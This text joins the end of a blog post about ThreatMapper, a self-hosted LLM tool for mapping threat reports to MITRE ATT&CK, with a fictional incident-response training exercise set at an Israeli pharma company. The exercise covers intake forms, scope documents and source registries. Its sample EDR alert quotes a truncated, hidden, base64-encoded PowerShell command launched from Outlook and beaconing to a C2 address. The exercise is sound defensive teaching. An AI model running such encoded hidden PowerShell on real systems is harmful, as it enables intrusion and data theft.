# Load a specific layer (returns technique_ids)
LAYER_ID="550e8400-e29b-41d4-a716-446655440000"
curl "http://localhost:8000/api/layers/$LAYER_ID" | python -m json.tool
# Delete a layer
curl -X DELETE "http://localhost:8000/api/layers/$LAYER_ID"

Stream an analysis (Python example)

import httpx, json
with httpx.stream(
    "POST",
    "http://localhost:8000/api/analyze/stream",
    data={"provider": "claude", "domain": "enterprise-attack"},
    files={"file": open("report.pdf", "rb")},
    timeout=300,
) as r:
    for line in r.iter_lines():
        if line.startswith("data: "):
            event = json.loads(line[6:])
            if event["type"] == "token":
                print(event["content"], end="", flush=True)
            elif event["type"] == "result":
                print("\n\nFinal techniques:")
                for t in event["data"]["techniques"]:
                    print(f"  {t['attack_id']} ({t['confidence']*100:.0f}%) - {t['name']}")
            elif event["type"] == "error":
                print(f"\nError: {event['message']}")

Keeping ATT&CK Data Fresh

ATT&CK releases new versions periodically (approximately twice a year). ThreatMapper checks for new versions daily at 03:00 UTC via a Celery Beat job.

The sidebar footer shows a pulsing amber indicator when a new version is available. Trigger an update:

# Quick API call
curl -X POST http://localhost:8000/api/sync/trigger

# Check what version you have vs what's available
curl http://localhost:8000/api/sync/status

The sync downloads only the new bundle version and ingests it alongside the existing data without deleting anything. Both versions remain queryable — endpoints accept an optional ?version=19.1 parameter to target a specific release.

Tips for Analysts

Calibrate your confidence threshold. I recommend treating < 50% confidence as noise until you validate it manually. The LLM is trying hard to find ATT&CK mappings, which means it will sometimes stretch an inference. Use the evidence snippet to sanity-check every mapping.

Use the Gap Analysis as a hunt checklist. When you match against an APT group in Compare, the Gap Analysis tab shows every technique in their known profile that you haven’t covered. This is an excellent input for a structured hunt — you’re essentially asking “what would we need to observe to confirm this attribution?”

Chain features for maximum value. The best workflow is: AI Analysis → inject into Navigator → Compare against APT groups → Gap Analysis → export PDF. Each step builds on the last.

Chat is good for detection rules. The AI assistant is particularly strong at generating SIGMA rules, KQL queries, and Splunk SPL from ATT&CK technique IDs. Give it the full ATT&CK technique description plus any specific context from your environment (OS, logging stack) and you’ll get useful starting points rather than generic templates.

Import your existing layers. If your team already maintains ATT&CK Navigator layers for your environment (e.g. a “what we detect” layer and a “what we’ve seen” layer), import them via the ↑ Import button. ThreatMapper will let you compare them against APT profiles and run AI chat against the techniques in the layer.

Save named layers as investigation checkpoints. After any significant piece of work — a completed AI analysis, a finished APT comparison session, a purple-team prep layer — click ↓ Save layer and give it a meaningful name. This takes 10 seconds and means you never lose work between sessions. You can reload any saved layer instantly from 📂 Load layer without re-running analysis.

Use text paste for quick triage. You don’t need a formatted document. Paste raw Slack thread text, a SIEM alert body, or a vendor advisory into the text box. The AI is good at extracting signal from noisy, informal text.

Security Considerations

ThreatMapper is designed for internal/intranet use. It has no built-in authentication — anyone who can reach the Docker network can use it.

For a team deployment:

1. Set a strong DB_PASS in .env
2. Put ThreatMapper behind nginx / Caddy with TLS and HTTP Basic Auth (or integrate with your identity provider via OAuth)
3. Run the Docker containers on an internal network that is not directly internet-accessible
4. The .env file containing your LLM API keys should have chmod 600 and never be committed to git

Your threat intelligence reports are stored in PostgreSQL inside the Docker volume. If you need to comply with data handling policies, deploy ThreatMapper on infrastructure that meets those policies — since it’s self-hosted, you retain full control.

What’s Coming Next

The tool is functional but there is plenty of room to grow. Things I’m actively thinking about:

• TAXII/STIX import — accept threat intelligence directly from TAXII feeds (MISP, OpenCTI, commercial CTI platforms)
• Team collaboration — shared TTP layers with user namespacing
• Detection coverage overlay — import your existing SIGMA rule library and visualise which ATT&CK techniques you have coverage for vs which are blind spots
• Automatic APT tracking — when ATT&CK releases a new version that adds techniques to a group you’re tracking, send a notification

Final Thoughts

The core idea behind ThreatMapper is that the heavy lifting of ATT&CK mapping — reading a report, recognising a technique, looking it up, comparing it — is exactly the kind of repetitive, pattern-matching work that LLMs are well-suited for.

The analyst’s judgement is still essential: deciding which mappings to trust, what the attribution implications are, what to do about the gap analysis. But the mechanical translation layer — text to ATT&CK IDs — should not take most of your time.

ThreatMapper tries to handle that translation layer so you can spend your time on the interesting parts.

The project is open source under the MIT licence. If you find it useful, have feature requests, or find bugs, open an issue on GitHub.

GitHub: https://github.com/anpa1200/threatmapper
API Docs: http://localhost:8000/docs (after starting with docker compose up)

ThreatMapper uses the MITRE ATT&CK® framework. ATT&CK is a registered trademark of The MITRE Corporation. This project is not affiliated with or endorsed by MITRE.

Follow for practical cybersecurity research

If you’re interested in Offensive security, AI security, real-world attack simulations, CTI, and detection engineering — this is exactly what I focus on.

Stay connected:

→ Subscribe on Medium: medium.com/@1200km
→ Connect on LinkedIn: andrey-pautov
→ GitHub — tools & labs: github.com/anpa1200
→ Contact: 1200km@gmail.com

Andrey Pautov

ThreatMapper: I Built a Self-Hosted AI Threat Intelligence Platform — Here’s How to Use It was originally published in InfoSec Write-ups on Medium, where people are continuing the conversation by highlighting and responding to this story.

All organizations, names, and data are fictional. This is training assignment A01 from the CTI as a Code repository.

Based on the methodology: “CTI as a Code”

CTI as a Code: Complete Step-by-Step Methodology

Contents

1. The Scenario
2. Step 00: Clone, Initialize, and Fill the Template
3. Step 0: Intake — What the First Call Captures
4. Step 1–2: Project Setup and Scope
5. Step R1: Evidence Inventory — What Exists and What Is Missing
6. Step R1.5: Hands-On Evidence Analysis — VS Code Investigation
   1. CrowdStrike Alert — JSON in VS Code
   2. Decode the PowerShell Payload
   3. M365 Message Trace — Rainbow CSV
   4. Azure AD Sign-In Analysis
   5. VPN Log Analysis
   6. NGFW Log Analysis — Rainbow CSV
   7. SQL Audit Log Analysis
   8. Windows Security Event Log Analysis
   9. Cross-File Pivot — VS Code Global Search
   10. IOC Enrichment — REST Client
   11. Sandbox Analysis — Submit the Binary
   12. Static Binary Analysis — Hex Editor + Terminal
   13. Infrastructure Pivot — REST Client + Global Search
   14. Splunk Correlation (SIEM Validation)
7. Step R2: Timeline — Two Paths, One Actor
8. Step R3: Claims Ledger — Every Assertion Traced to Evidence
9. Step R4: ATT&CK Mapping — Where Detection Failed
10. Step R5: Attribution Assessment — Same Actor or Two?
11. Step R6: Detection Rules — Four That Would Have Changed the Outcome
12. Step R7: Deliverables — What Each Stakeholder Gets
13. The Git History: What a Completed Investigation Looks Like
14. Key Lessons

The Scenario

LifeTech Pharma Ltd. is a mid-sized Israeli pharmaceutical company in Rehovot. It develops and manufactures generic drugs and biological APIs, exports to the US, EU, and MENA, and recently signed a $52 million licensing deal with a US biopharma partner. The signed formula files are stored on SERVER-RD-02\LicenseDeals\USPartner2024\ — 47 files, approximately 380 MB compressed.

On Friday, 15 November 2024 at 18:47 IST, the on-call SOC analyst receives a CrowdStrike behavioral detection:

ALERT: Suspicious PowerShell Activity
Severity: High — Behavioral IOA
Host: WS-CFO-01.lifetechpharma.local  [Michal Cohen, CFO]
Process: powershell.exe (PID 3784)
Parent: OUTLOOK.EXE (PID 2240)
CommandLine: powershell.exe -NonI -W Hidden -Enc JABjAD0ATgBlAHcA...
Timestamp: 2024-11-15T18:42:33Z

That’s the visible trigger. The actual breach started 24 days earlier — and the alert is the second of two entry points, not the first.

Step 00: Clone, Initialize, and Fill the Template

Before the phone rings. This step takes three minutes and is done once per investigation — ideally before the alert even comes in, or in the first five minutes after hanging up the initial call.

1. Clone the repository (one-time setup)

If you have not cloned CTI_as_a_Code yet, do this once on your analyst workstation:

cd ~
git clone https://github.com/anpa1200/CTI_as_a_Code.git

You will never modify this clone. It is your template source. Leave it as-is and pull updates periodically:

cd ~/CTI_as_a_Code && git pull

2. Create your investigations folder

mkdir -p ~/investigations

Use any path you prefer — just keep it consistent across all cases. Do not create investigations inside the CTI_as_a_Code clone.

3. Copy the reactive template for this case

cp -r ~/CTI_as_a_Code/templates/reactive/ ~/investigations/lifetech-2024-11

Naming convention: [org-slug]-[YYYY-MM]. One folder per case. Verify the structure:

ls ~/investigations/lifetech-2024-11/
tree ~/investigations/lifetech-2024-11/

Expected:

00-scope/   01-evidence/   02-sources/   03-analysis/
04-detections/   05-deliverables/   06-ai-outputs/   07-feedback/
README.md   intake-form.md   project.yml

4. Initialize git inside the case folder

cd ~/investigations/lifetech-2024-11
git init
git add .
git commit -m "PROJ-2024-001: scaffold initialized from reactive template"

This is commit zero. Its purpose is to prove — to a lawyer, an auditor, or yourself — exactly what state you started from before any analysis began.

5. Fill in project.yml

This file is the single source of truth for project metadata. Open it now:

nano project.yml

The template has blank fields. Fill every one(During the investigation):

project:
  id: "PROJ-2024-001"
  name: "LifeTech Pharma — Targeted Intrusion"
  type: reactive
  classification: TLP:AMBER
  status: in-progress
analyst:
  name: "Your Name"
  role: "CTI Analyst"
  contact: "your@email.com"
timeline:
  incident_date: "2024-11-15"
  detection_date: "2024-11-15"
  investigation_start: "2024-11-15"
  report_due: "2024-11-17"         # INCD 72h clock - expires 18:47 IST Nov 17
pirs:
  - id: PIR-001
    question: "Was the US licensing formula package (SERVER-RD-02\\USPartner2024\\) accessed or exfiltrated? If so, what and when?"
    priority: high
    status: open
  - id: PIR-002
    question: "How did the adversary gain initial access - phishing, credential theft, or exploitation?"
    priority: high
    status: open
  - id: PIR-003
    question: "Is there evidence of ongoing access or persistence as of investigation date?"
    priority: high
    status: open
scope:
  systems:
    - WS-CFO-01
    - WS-IT-LEVI
    - SERVER-RD-02
    - SERVER-FIN-01
    - DC01
  threat_actor: unknown
  attck_techniques: []             # leave blank now - fill during R4
deliverables:
  - type: executive-brief
    status: pending
  - type: soc-handoff
    status: pending
  - type: sigma-rules
    count: 0
    status: pending
notes: "INCD 72h notification clock starts 2024-11-15 18:47 IST. Legal hold on WS-IT-LEVI - no hardware access, RTR only."

Do not leave any field as "" or [] if you know the value. Unknown fields are fine — write unknown explicitly. A blank field means "forgot to fill in." unknown means "we looked and do not know yet."

6. Commit the filled metadata

git add project.yml
git commit -m "PROJ-2024-001: project.yml filled — 3 PIRs, INCD deadline 2024-11-17 18:47 IST, legal hold WS-IT-LEVI"

The folder is now named, scoped, and version-controlled. The intake call can begin.

Step 0: Intake — What the First Call Captures

Before opening Splunk, before pivoting on the C2 IP, before forming a hypothesis — the intake call runs. This is 15 minutes with the Tier 2 escalation and the IR Lead before any analysis work begins.

The intake captures facts that change what you look for.

Open the intake form before dialing:

cp intake-form.md 00-scope/intake-2024-11-15.md
nano 00-scope/intake-2024-11-15.md

The template has 9 sections. Work through them in order during the call — do not paraphrase in real time, write what the reporter says verbatim. You will analyze it after. For LifeTech this call produces:

# Investigation Intake — PROJ-2024-001 — 2024-11-15

Completed by: On-call CTI analyst (Yael Mizrahi)
Intake call with: Noa Ben-David (IR Lead), Ran Katz (SOC Manager)
Call time: 2024-11-15 18:55 IST

---

## 1. What was reported?

**1.1 What did you see or receive that caused you to raise this?**
"CrowdStrike fired a high-severity behavioral IOA on Michal Cohen's workstation —
PowerShell with base64 payload launched directly from Outlook. Tier 1 pulled the
network tab and found 3 outbound connections to 203.0.113.87 over the last 15
minutes. This is the CFO's machine. We escalated immediately."

**1.2 Where did this first come to your attention?**
- [x] Alert from SIEM / EDR / AV  ← CrowdStrike Falcon behavioral IOA, severity: High

**1.3 When did you first notice it?**
Date: 2024-11-15   Time: 18:47   Timezone: IST (UTC+2)

**1.4 Do you believe the activity is still ongoing?**
- [x] Yes — still active (C2 connections still firing at time of call)

---

## 2. What is already known?

**2.1 What systems, accounts, or services appear to be involved?**
- WS-CFO-01.lifetechpharma.local — Michal Cohen, CFO. Dell Latitude, Windows 11.
- 203.0.113.87 — external IP, destination of C2 connections. Not in any allowlist.
- OUTLOOK.EXE (PID 2240) → powershell.exe (PID 3784) — parent-child confirmed.
- No other hosts identified yet — investigation is 8 minutes old.

**2.2 What was the observed behavior?**
"PowerShell with -NonI -W Hidden -Enc flags spawned from Outlook. The encoded
command has not been decoded yet. Three separate TCP connections to 203.0.113.87
on port 443 over 15 minutes — looks like a beacon pattern."

**2.3 Has anyone else already investigated or looked into this?**
- [x] Yes — Tier 1 analyst (Omer Cohen) ran initial Splunk queries (last 1 hour only).
  What did they touch: read-only Splunk queries. No changes to the endpoint.

**2.4 What do you think happened?**
"Probably a phishing email with a malicious attachment — xlsm macro or something
similar. Michal must have opened it in the last few hours. We don't know if anyone
else was targeted."

---

## 3. Timeline of discovery

**3.1 When do you believe the activity started?**
- [ ] Known
- [x] Estimated: activity on WS-CFO-01 started approximately 18:42 IST (PowerShell
  launch timestamp from CrowdStrike event).

**3.2 How long do you estimate the activity has been occurring?**
Approximately 13 minutes from first PowerShell event to escalation call (18:42–18:55 IST).
However: unknown whether this is the beginning of the intrusion or a later stage.

**3.3 Is there a specific event that triggered the alert or complaint?**
CrowdStrike behavioral IOA fired at 18:42:33 IST on WS-CFO-01. Tier 1 escalated
at 18:47. IR Lead paged at 18:52. Intake call started at 18:55.

---

## 4. What has already been done?

**4.1 Has any system been rebooted, shut down, or reimaged since the activity was discovered?**
- [x] No — WS-CFO-01 is still running. Not yet isolated.

**4.2 Have any credentials, tokens, or API keys been rotated or revoked?**
- [x] No — no credential changes made yet.

**4.3 Has any network access been blocked or firewall rules been changed?**
- [x] No — 203.0.113.87 has not been blocked. Ran confirmed: "We wanted to check
  with you first before blocking — didn't want to tip them off."

**4.4 Has any malware been deleted or quarantined?**
- [x] No — CrowdStrike flagged the process but did not quarantine. Alert status: Detected,
  not Prevented (policy is set to Detect-only on this machine — CFO exception policy).

**4.5 Has anyone notified external parties?**
- [x] No — no external notification yet. INCD assessment pending scope confirmation.

---

## 5. Systems and access

**5.1 What logging is expected to exist for the affected systems?**
- Endpoint logs (Sysmon, CrowdStrike): [x] Yes — CrowdStrike on WS-CFO-01. Sysmon on
  WS-CFO-01. NOTE: Sysmon NOT deployed on server-class machines or DC01.
- VPN / authentication logs: [x] Yes — Cisco AnyConnect VPN, logs in Splunk.
- Database audit logs: [x] Yes — SQL audit on SERVER-RD-02 (partial EIDs only).
- Network flow / firewall logs: [x] Yes — Palo Alto NGFW. RETENTION: 14 days only.
  ⚠ SERVER-RD-02 outbound logs will expire 2024-11-29 for today's traffic.
- Email gateway logs: [x] Yes — M365 Message Trace, 30-day retention. ATP enabled.
  NOTE: ATP sandbox NOT enabled for xlsm files — policy gap identified.
- Cloud provider logs: [x] Yes — Azure AD sign-in logs, 30-day retention.

**5.2 What tools and access does the analyst have?**
- [x] Admin access to affected hosts (CrowdStrike RTR for WS-CFO-01, WS-CFO-01 CrowdStrike console)
- [x] Read access to SIEM (Splunk — full org)
- [x] Access to EDR console (CrowdStrike Falcon — full org view)
- [x] Access to network equipment / firewall logs (Palo Alto Panorama — read only)
- [x] Access to cloud console (Azure AD — Security Reader role)
- [x] Access to email gateway (M365 Security & Compliance — Message Trace)
- [ ] VPN / jump host credentials — not yet, request submitted
- [x] TheHive / OpenCTI lab access

**5.3 Are there any systems the analyst should NOT touch?**
⚠ WS-IT-LEVI (Paz Levi, IT Admin): LEGAL HOLD issued at 20:45 IST today.
  HR investigation underway — UNRELATED to this incident (employment matter).
  Hardware access BLOCKED for 48–72 hours per Legal counsel (Adv. Dina Shapiro).
  Remote CrowdStrike RTR is PERMITTED — confirmed by Legal.
  No memory image, no disk image, no physical access until hold lifted.

---

## 6. Business impact

**6.1 What business processes are affected or at risk?**
"The CFO's email and workstation are involved. If this is a full compromise, finance
data is at risk. We also have R&D server SERVER-RD-02 — it holds the formula files
for the US licensing deal. That deal closes in 6 weeks. If those files were touched,
we have an FDA NDA issue and a $52M deal at risk."

**6.2 Is customer data, employee data, or regulated data potentially involved?**
- [x] Yes — type: proprietary formula files under FDA NDA filing (USPartner2024 package,
  47 files, ~380 MB). Also: employee financial data on SERVER-FIN-01 if CFO path
  extended to finance server.

**6.3 What is the financial exposure if this is confirmed?**
Direct deal risk: $52M US licensing agreement. Regulatory exposure: Israeli Privacy
Protection Law (PPL) fines + FDA NDA breach penalties. Reputational exposure: US
partner disclosure obligation if formula data confirmed exfiltrated.

**6.4 Is there a hard deadline driving this investigation?**
- [x] Yes — deadline: INCD 72-hour notification window starts from discovery of
  breach (not discovery of alert). If formula data or critical infrastructure
  involvement confirmed: clock starts NOW → expires 2024-11-17 ~18:47 IST.

---

## 7. Regulatory and legal constraints

**7.1 Are there applicable notification requirements?**

| Regulation | Applicable? | Deadline | Notified? |
|---|---|---|---|
| INCD (Israeli critical infrastructure) | TBD — assess after scope confirmed | 72h from discovery | No |
| Biometric Database Authority | No — no biometric data at LifeTech | — | N/A |
| BoI-CD 362 (Israeli financial) | No — LifeTech is not a financial entity | — | N/A |
| GDPR | TBD — EU customers in export data? | 72h from awareness | No |
| PCI-DSS | No — no card processing at LifeTech | — | N/A |
| Israeli Privacy Protection Law | Yes — employee + partner data in scope | Per PPL — notify DPA if breach confirmed | No |
| FDA / NDA obligation | Yes — if formula files confirmed exfiltrated | Immediate notification to US partner | No |

**7.2 Is there an active legal hold on any systems or data?**
- [x] Yes — WS-IT-LEVI (Paz Levi). Legal hold issued 2024-11-15 20:45 IST.
  Contact: Adv. Dina Shapiro (Legal). Hold expected: 48–72 hours minimum.

**7.3 Has legal counsel been notified?**
- [x] Yes — Adv. Dina Shapiro notified of the security incident at 19:10 IST.
  Advised: do not touch WS-IT-LEVI hardware. RTR permitted with logging.

---

## 8. Analyst notes

(Raw notes taken during call — unprocessed)

- Ran (SOC): "The CFO is still at the office. We haven't told her yet. Should we?"
  → IR Lead decision: do not inform CFO until after memory dump. Risk: she might
  reboot the machine.
- The CrowdStrike policy on WS-CFO-01 is DETECT-ONLY (CFO exception policy).
  This is why the process was not killed automatically. SOC should evaluate
  moving to Prevent for exec machines after this incident.
- 203.0.113.87 — not blocklisted anywhere in org. Ran says: "It's clean on our
  end, never seen it before." Worth enriching immediately (VirusTotal, Shodan).
- Memory dump of WS-CFO-01 is urgent — C2 is still active. Process may have
  network artifact or decrypted payload in memory. Action: RTR memory dump NOW.
- No mention of SERVER-RD-02 during this call — IR Lead is not aware of the
  formula file risk yet. Will scope that separately after evidence inventory.
- p.levi (WS-IT-LEVI) is under HR investigation for unrelated reason. Legal hold
  is coincidental. However: IT admin access + legal hold + security incident
  creates a complex situation. Document carefully.

---

## 9. Next actions

| # | Action | Owner | Due |
|---|---|---|---|
| 1 | Take memory dump of WS-CFO-01 via CrowdStrike RTR before C2 session ends | Yael (CTI) | Immediate |
| 2 | Enrich 203.0.113.87 — VirusTotal, Shodan, passive DNS, ASN lookup | Yael (CTI) | Within 30 min |
| 3 | Pull M365 Message Trace for m.cohen last 48h — identify delivery vector | Omer (Tier 1) | Within 30 min |
| 4 | Retrieve Palo Alto firewall logs for WS-CFO-01 and SERVER-RD-02 — full available window | Ran (SOC) | Within 1h ⚠ retention risk |
| 5 | Check Azure AD sign-in logs for m.cohen and p.levi — last 30 days | Yael (CTI) | Within 1h |
| 6 | Confirm SERVER-RD-02 USPartner2024 directory access — pull EID 4663 from Splunk | Yael (CTI) | Within 2h |
| 7 | Open TheHive case PROJ-2024-001, attach this intake as first observable | Yael (CTI) | Within 30 min |
| 8 | Advise IR Lead on INCD 72h clock — confirm if formula data scope triggers mandatory notification | Noa (IR Lead) + Legal | Within 2h |

---

*Intake completed 2024-11-15 19:18 IST. File saved as 00-scope/intake-2024-11-15.md.*
*Case opened in TheHive: PROJ-2024-001.*
```

Two items in this intake change the entire investigation trajectory: the legal hold on `WS-IT-LEVI` (you cannot image it), and the potential for formula data in scope (Israeli PPL + FDA notification obligations). Both need to be on the table before analysis starts, not discovered mid-investigation.

The intake commits to git first:

Two items in this intake change the entire investigation trajectory: the legal hold on WS-IT-LEVI (you cannot image it), and the potential for formula data in scope (Israeli PPL + FDA notification obligations). Both need to be on the table before analysis starts, not discovered mid-investigation.

The intake commits to git first:

git add 00-scope/intake-2024-11-15.md
git commit -m "PROJ-001: intake — CFO PowerShell alert, legal hold on WS-IT-LEVI, formula data in scope"

Step 1–2: Project Setup and Scope

The folder and git repo already exist from Step 00. This step fills the scope document and gets stakeholder sign-off before any analysis begins. The rule: you do not start looking at logs until the scope is committed.

1. Open the scope document

nano 00-scope/scope.md

# Intelligence Source Registry

**Project:** PROJ-2024-001 — LifeTech Pharma Targeted Intrusion

Admiralty Scale: Source reliability A (completely reliable) – F (reliability cannot be judged).  
Information reliability: 1 (confirmed) – 6 (truth cannot be judged).

---

## Internal Sources

| ID | Source | Type | Admiralty | Notes |
|---|---|---|---|---|
| INT-001 | Splunk SIEM | Log aggregation | A/2 | Primary forensic source; full org scope; read-only access. Initial 1h Splunk query by Tier 1 (Omer Cohen) — covered WS-CFO-01 only. |
| INT-002 | CrowdStrike Falcon | EDR / endpoint telemetry | A/2 | Deployed on WS-CFO-01, WS-IT-LEVI. NOT deployed on R&D server fleet (12 servers) or DC01. CFO machine on Detect-only policy (not Prevent). |
| INT-003 | Palo Alto NGFW (Panorama) | Firewall flows / NetFlow | A/2 | Read-only. 14-day retention. ⚠ SERVER-RD-02 Nov 6 outbound flows expire 2024-11-20 — retrieve before any other task. |
| INT-004 | M365 Message Trace | Email gateway logs | A/2 | 30-day retention. ATP sandbox NOT enabled for .xlsm files — phishing attachment delivered uninspected. |
| INT-005 | Azure AD sign-in logs | Cloud authentication | A/2 | 30-day retention. Security Reader role. Covers m.cohen and p.levi sign-in history. |
| INT-006 | Sysmon (WS-CFO-01, WS-IT-LEVI) | Endpoint process/network telemetry | A/2 | NOT deployed on server-class machines (SERVER-RD-02, SERVER-FIN-01, DC01). |
| INT-007 | Windows Security event logs (DC01, SERVER-RD-02) | Authentication / authorization | A/2 | DC01: partial export only — full log inaccessible. EID 4662 (DCSync) and EID 4663 (object access) relevant. |
| INT-008 | SQL audit — SERVER-RD-02 | Database object-access audit | A/2 | Partial EIDs only; not all object-access events captured. Required for PIR-001 (formula file access). |
| INT-009 | Cisco AnyConnect VPN | VPN session logs | A/2 | Available in Splunk. Covers p.levi sessions (AiTM hypothesis). |

---

## External / OSINT Sources

| ID | Source | Type | Admiralty | TLP | Notes |
|---|---|---|---|---|---|
| EXT-001 | CERT-IL | Government advisory | A/2 | TLP:AMBER | Check for active advisories targeting Israeli pharma sector. |
| EXT-002 | VirusTotal | IOC enrichment | C/3 | TLP:WHITE | Immediate priority: 203.0.113.87 hash/IP lookup. Crowdsourced — treat as corroborating only. |
| EXT-003 | Shodan | Infrastructure recon | C/3 | TLP:WHITE | 203.0.113.87 ASN / infrastructure / open-port lookup. |
| EXT-004 | URLScan.io | Domain analysis | C/3 | TLP:WHITE | Passive DNS and domain history for C2 domains identified in flows. |
| EXT-005 | MISP | Community threat intel | B/3 | TLP:AMBER | Pharma sector sharing. Cross-reference IOCs against community feed. |

---

## Source Limitations

| Source | Known Limitation |
|---|---|
| Palo Alto NGFW (INT-003) | 14-day retention only. SERVER-RD-02 Nov 6 outbound flows expire **2024-11-20** — retrieve immediately, before any other analysis. |
| CrowdStrike Falcon (INT-002) | Not deployed on R&D server fleet (12 servers) or DC01. No EDR telemetry for those hosts — Windows Security events and NGFW logs are the only visibility. |
| Sysmon (INT-006) | Not deployed on server-class machines (SERVER-RD-02, SERVER-FIN-01, DC01). Process creation and network telemetry unavailable for those hosts. |
| Windows Security / DC01 (INT-007) | Only partial event log export available; full log is inaccessible. Analytical confidence on DC01 activity is reduced. |
| M365 ATP (INT-004) | Sandbox not enabled for .xlsm attachments. The suspected phishing attachment was delivered without detonation — no ATP verdict available. |
| SQL audit — SERVER-RD-02 (INT-008) | Partial EIDs only. Not all object-access events are captured. Absence of a log entry does NOT confirm file was not accessed. |
| WS-IT-LEVI — all sources | Legal hold issued 2024-11-15 20:45 IST (Adv. Dina Shapiro). No hardware, disk, or memory image permitted. CrowdStrike RTR allowed with full session logging. Re-assess after hold lifted (est. 48–72h). |
| Azure AD sign-in logs (INT-005) | 30-day retention. Historical data before approximately 2024-10-15 is unavailable. |
| M365 Message Trace (INT-004) | 30-day retention. Historical data before approximately 2024-10-15 is unavailable. |
| VirusTotal (EXT-002) | Crowdsourced; vendor detections may be absent for fresh infrastructure. A clean VT result does not rule out malicious use. Treat as corroborating, not authoritative. |

The template has six sections. Fill each one now:

Header — fill the four metadata lines at the top:

Project: PROJ-2024-001
Classification: TLP:AMBER
Date scoped: 2024-11-15
Scoped by: [your name]
Approved by: Noa Ben-David, IR Lead

Incident Summary — one paragraph, what triggered this:

CrowdStrike behavioral detection on WS-CFO-01 at 18:42 IST, November 15, 2024.
PowerShell spawned by OUTLOOK.EXE with base64-encoded payload, downloading from
203.0.113.87. Scope of compromise unknown. Formula files on SERVER-RD-02 are
potentially in scope — US licensing deal ($52M) requires regulatory assessment.

In Scope — fill the asset table:

Out of Scope — fill the exclusion table:

PIRs — copy from project.yml, add due dates:

Constraints and Assumptions — fill the four fields:

Legal/regulatory: INCD 72h notification window expires 2024-11-17 18:47 IST.
  Israeli Privacy Protection Law + FDA NDA obligations if formula data confirmed.
Evidence limitations: Palo Alto firewall logs — 14-day retention.
  SERVER-RD-02 Nov 6 outbound logs expire 2024-11-20. Retrieve immediately.
  Sysmon absent from all server-class machines.
Access restrictions: WS-IT-LEVI — legal hold, no hardware access. RTR permitted.
Assumptions: All timestamps assumed UTC unless marked IST. Not converted in log excerpts.

Definition of Done — check the boxes your team has agreed to:

- [ ] All PIRs answered or formally deferred with reasoning
- [ ] Timeline covers full attacker dwell period (or gap documented)
- [ ] ATT&CK mapping reviewed and finalized
- [ ] At least one detection rule per confirmed TTP
- [ ] SOC handoff delivered and acknowledged
- [ ] Executive brief approved by Noa Ben-David (IR Lead)
- [ ] INCD notification filed if formula data confirmed

Full scope.md:

# Scope Definition

**Project:** PROJ-2024-001
**Classification:** TLP:AMBER
**Date scoped:** 2024-11-15
**Scoped by:** Yael Mizrahi (CTI Analyst)
**Approved by:** Noa Ben-David (IR Lead) — verbal approval 19:22 IST

---

## Incident Summary

CrowdStrike behavioral IOA fired on WS-CFO-01 (Michal Cohen, CFO) at 18:42 IST on
2024-11-15. PowerShell with encoded payload launched from OUTLOOK.EXE; three outbound
C2 connections to 203.0.113.87 confirmed within 15 minutes of detection. Scope of
compromise is unknown at time of scoping — the CFO alert may be a late-stage indicator
of a broader intrusion. Formula files on SERVER-RD-02 (US licensing package, ~380 MB,
47 files) are in scope for PIR-001 due to financial and regulatory exposure ($52M deal,
FDA NDA obligations). INCD 72h notification clock assessed as active from time of
discovery.

---

## In Scope

| Asset / System | Owner | Justification |
|---|---|---|
| WS-CFO-01.lifetechpharma.local | IT Dept / Michal Cohen (CFO) | Triggering alert host — CrowdStrike IOA, active C2 |
| WS-IT-LEVI.lifetechpharma.local | IT Dept / Paz Levi (IT Admin) | Suspected initial access vector — AiTM phishing hypothesis |
| SERVER-RD-02.lifetechpharma.local | R&D Dept | Formula file storage — PIR-001 primary asset |
| SERVER-FIN-01.lifetechpharma.local | Finance Dept | Lateral movement target — confirmed by CrowdStrike alert Nov 15 |
| DC01.lifetechpharma.local | IT Dept | DCSync event EID 4662 observed from non-DC IP |
| Exchange Online (M365) | IT / Microsoft | Email delivery vector — phishing investigation |
| Azure AD | IT / Microsoft | Authentication logs — VPN session token replay |
| Palo Alto NGFW (perimeter) | IT / Network team | C2 traffic confirmation, SERVER-RD-02 exfil flows |

---

## Out of Scope

| Asset / System | Reason for Exclusion |
|---|---|
| SharePoint Online / OneDrive | Cloud scope — no evidence of involvement; requires separate authorization |
| Manufacturing SCADA / OT network | No evidence of lateral movement into OT segment at this time |
| WS-IT-LEVI — hardware / disk image | Legal hold issued 2024-11-15 20:45 IST. No hardware access until hold lifted. RTR permitted. |
| All other endpoints (838 total) | Out of scope pending hunt results — may expand if pivot on C2 domains finds new hosts |

---

## Priority Intelligence Requirements (PIRs)

| ID | Question | Priority | Due | Status |
|---|---|---|---|---|
| PIR-001 | Was the US licensing formula package (`SERVER-RD-02\LicenseDeals\USPartner2024\`) accessed or exfiltrated? If so, what and when? | High | 2024-11-16 06:00 IST | Open |
| PIR-002 | How did the adversary gain initial access — phishing, credential theft, exploitation, or insider? | High | 2024-11-16 06:00 IST | Open |
| PIR-003 | Is there evidence of ongoing access or persistence as of 2024-11-15 19:00 IST? Are any other hosts compromised? | High | 2024-11-16 06:00 IST | Open |

---

## Constraints and Assumptions

- **Legal/regulatory:** INCD 72h notification window — expires approximately 2024-11-17
  18:47 IST. Israeli Privacy Protection Law (PPL) notification to DPA if personal data
  breach confirmed. FDA NDA obligation to notify US partner if formula files confirmed
  exfiltrated — no specific deadline but immediate notification is standard practice.
- **Evidence limitations:**
  - Palo Alto NGFW firewall flows: 14-day retention only. SERVER-RD-02 November 6
    outbound traffic expires 2024-11-20. **Retrieve before any other analysis.**
  - Sysmon NOT deployed on server-class machines (SERVER-RD-02, SERVER-FIN-01, DC01).
  - CrowdStrike NOT deployed on R&D server fleet (12 servers) or DC01.
  - DC01 Windows Security log: only partial export available — full log inaccessible.
  - ATP sandbox not enabled for .xlsm files — attachment was delivered uninspected.
- **Access restrictions:**
  - WS-IT-LEVI: legal hold, no hardware/disk/memory access. CrowdStrike RTR permitted
    with full session logging. Contact Adv. Dina Shapiro before any exception.
  - VPN jump host credentials: requested, not yet provisioned (Yael Mizrahi, 19:05 IST).
- **Assumptions:**
  - All log timestamps assumed UTC unless explicitly marked IST in source.
  - CrowdStrike behavioral detections treated as CONFIRMED source (Admiralty A/2).
  - Sysmon EID events treated as CONFIRMED source where forwarder health is verified.

---

## Stakeholders

| Name | Role | Involvement |
|---|---|---|
| Noa Ben-David | IR Lead | Scope approval; receives executive brief; INCD notification decision |
| Ran Katz | SOC Manager | SOC handoff; implements detection rules; hunting queries |
| Adv. Dina Shapiro | Legal Counsel | Legal hold oversight; PPL / regulatory notifications; WS-IT-LEVI access decisions |
| [CISO name] | CISO | Executive brief recipient; $52M deal brief to Board |
